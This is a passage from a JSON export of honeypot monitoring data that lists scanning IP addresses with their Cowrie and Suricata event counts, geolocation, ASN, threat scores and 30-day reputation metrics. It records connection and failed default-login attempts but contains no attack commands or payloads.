        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:39:35.231000+00:00",
        "last_seen_30d": "2026-04-27T09:46:30.372000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "197.162.16.213": {
      "attack_count": 4,
      "first_seen": "2026-04-27T10:16:57.770Z",
      "last_seen": "2026-04-27T10:20:58.774Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T10:16:57.770000+00:00",
        "last_seen_30d": "2026-04-27T10:22:32.279000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "202.165.237.221": {
      "attack_count": 4,
      "first_seen": "2026-04-09T11:29:50.691Z",
      "last_seen": "2026-04-09T11:30:16.015Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136384,
      "as_org": "Optix Pakistan Pvt. Limited",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T11:29:50.691000+00:00",
        "last_seen_30d": "2026-04-09T11:31:24.419000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.123": {
      "attack_count": 4,
      "first_seen": "2026-04-17T10:27:12.518Z",
      "last_seen": "2026-04-17T10:27:16.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 81.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T08:14:06.827000+00:00",
        "last_seen_30d": "2026-04-30T10:48:57.224000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 6,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "164.90.237.71": {
      "attack_count": 3,
      "first_seen": "2026-04-25T11:37:47.398Z",
      "last_seen": "2026-04-25T11:38:50.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 20.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 25,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T02:09:29.385000+00:00",
        "last_seen_30d": "2026-04-26T18:45:18.659000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 44,
        "Cowrie": 3
      }
    },
    "167.172.90.163": {
      "attack_count": 3,
      "first_seen": "2026-04-01T12:06:21.191Z",
      "last_seen": "2026-04-01T12:07:22.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:06:21.191000+00:00",
        "last_seen_30d": "2026-04-26T08:06:24.632000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 3,
        "Honeytrap": 3
      }
    },
    "220.178.8.154": {
      "attack_count": 3,
      "first_seen": "2026-04-05T01:29:54.797Z",
      "last_seen": "2026-04-05T01:31:54.800Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:29:54.797000+00:00",
        "last_seen_30d": "2026-04-05T01:42:35.943000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "101.51.102.175": {
      "attack_count": 2,
      "first_seen": "2026-04-28T11:55:15.074Z",
      "last_seen": "2026-04-28T11:55:28.246Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:55:15.074000+00:00",
        "last_seen_30d": "2026-04-28T11:56:35.953000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.12.56.73": {
      "attack_count": 2,
      "first_seen": "2026-04-22T16:38:11.554Z",
      "last_seen": "2026-04-22T16:38:12.623Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T16:38:11.554000+00:00",
        "last_seen_30d": "2026-04-22T16:39:49.668000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "116.255.226.73": {
      "attack_count": 2,
      "first_seen": "2026-04-05T19:26:17.335Z",
      "last_seen": "2026-04-05T19:26:17.575Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:54:47+00:00",
        "last_seen_30d": "2026-04-29T01:15:15.651000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 26,
        "Cowrie": 2
      }
    },
    "117.245.141.249": {
      "attack_count": 2,
      "first_seen": "2026-04-06T04:27:44.459Z",
      "last_seen": "2026-04-06T04:27:58.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T04:27:44.459000+00:00",
        "last_seen_30d": "2026-04-06T04:29:08.448000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.131.199.219": {
      "attack_count": 2,
      "first_seen": "2026-04-10T00:35:26.849Z",
      "last_seen": "2026-04-10T00:35:57.531Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Asan",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T00:35:26.849000+00:00",
        "last_seen_30d": "2026-04-10T00:37:03.258000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "128.106.188.52": {
      "attack_count": 2,
      "first_seen": "2026-04-10T05:27:36.482Z",
      "last_seen": "2026-04-10T05:27:49.748Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 9506,
      "as_org": "Singtel Fibre Broadband",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:27:36.482000+00:00",
        "last_seen_30d": "2026-04-10T05:28:57.550000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.67.166.85": {
      "attack_count": 2,
      "first_seen": "2026-04-26T07:56:16.661Z",
      "last_seen": "2026-04-26T07:58:16.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Halifax",
      "asn": 11260,
      "as_org": "EastLink",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T07:56:05.110000+00:00",
        "last_seen_30d": "2026-04-26T07:59:56.388000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2
      }
    },
    "172.250.213.99": {
      "attack_count": 2,
      "first_seen": "2026-04-02T20:57:28.107Z",
      "last_seen": "2026-04-02T20:57:40.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tustin",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T20:57:28.107000+00:00",
        "last_seen_30d": "2026-04-02T20:58:44.116000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.136.191.132": {
      "attack_count": 2,
      "first_seen": "2026-04-09T19:33:13.585Z",
      "last_seen": "2026-04-09T19:33:26.965Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T19:33:13.585000+00:00",
        "last_seen_30d": "2026-04-09T19:34:33.684000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.151.130.202": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:53:26.380Z",
      "last_seen": "2026-04-29T21:53:39.548Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:53:26.380000+00:00",
        "last_seen_30d": "2026-04-29T21:54:41.169000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.198.110.15": {
      "attack_count": 2,
      "first_seen": "2026-04-19T19:30:43.266Z",
      "last_seen": "2026-04-19T19:30:56.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T19:30:43.266000+00:00",
        "last_seen_30d": "2026-04-19T19:32:02.831000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.28.222.99": {
      "attack_count": 2,
      "first_seen": "2026-04-25T07:33:37.240Z",
      "last_seen": "2026-04-25T07:33:37.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T07:33:37.240000+00:00",
        "last_seen_30d": "2026-04-25T07:34:43.880000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.0.81.137": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:03:19.873Z",
      "last_seen": "2026-04-30T07:03:33.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 46198,
      "as_org": "Trilogy Dominicana, S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:03:19.873000+00:00",
        "last_seen_30d": "2026-04-30T07:04:37.198000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.185.129.38": {
      "attack_count": 2,
      "first_seen": "2026-04-29T20:32:29.578Z",
      "last_seen": "2026-04-29T20:32:41.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37105,
      "as_org": "RAIN-GROUP-HOLDINGS",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T20:32:29.578000+00:00",
        "last_seen_30d": "2026-04-29T20:33:47.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.151": {
      "attack_count": 2,
      "first_seen": "2026-04-06T22:07:05.122Z",
      "last_seen": "2026-04-06T22:07:14.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 62.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 19.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 23,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T01:28:11+00:00",
        "last_seen_30d": "2026-04-26T23:02:27.617000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "ConPot": 20,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "198.235.24.152": {
      "attack_count": 2,
      "first_seen": "2026-04-03T23:42:56.903Z",
      "last_seen": "2026-04-03T23:43:06.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T20:29:56.663000+00:00",
        "last_seen_30d": "2026-04-24T23:22:10.909000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 5,
        "Mailoney": 5,
        "Cowrie": 2
      }
    },
    "200.73.209.11": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:08:32.623Z",
      "last_seen": "2026-04-30T07:08:45.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Pudahuel",
      "asn": 27979,
      "as_org": "Stel Chile S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:08:32.623000+00:00",
        "last_seen_30d": "2026-04-30T07:09:49.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.246.78.208": {
      "attack_count": 2,
      "first_seen": "2026-04-30T03:55:45.657Z",
      "last_seen": "2026-04-30T03:55:59.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Puente Alto",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:55:45.657000+00:00",
        "last_seen_30d": "2026-04-30T03:57:09.658000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.114.23.238": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:33:43.664Z",
      "last_seen": "2026-04-30T14:33:56.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:33:43.664000+00:00",
        "last_seen_30d": "2026-04-30T14:35:04.921000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.143.16.204": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:46:41.143Z",
      "last_seen": "2026-04-05T17:46:54.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 10175,
      "as_org": "Kumho Cable",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:46:41.143000+00:00",
        "last_seen_30d": "2026-04-05T17:47:56.580000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "64.188.10.50": {
      "attack_count": 2,
      "first_seen": "2026-04-30T13:42:43.889Z",
      "last_seen": "2026-04-30T13:43:17.030Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:42:43.889000+00:00",
        "last_seen_30d": "2026-04-30T13:44:29.959000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.190.156.19": {
      "attack_count": 2,
      "first_seen": "2026-04-18T10:05:33.986Z",
      "last_seen": "2026-04-18T10:06:04.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:06:16.871000+00:00",
        "last_seen_30d": "2026-04-19T16:50:41.367000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Cowrie": 2
      }
    },
    "91.230.168.20": {
      "attack_count": 2,
      "first_seen": "2026-04-08T08:28:48.199Z",
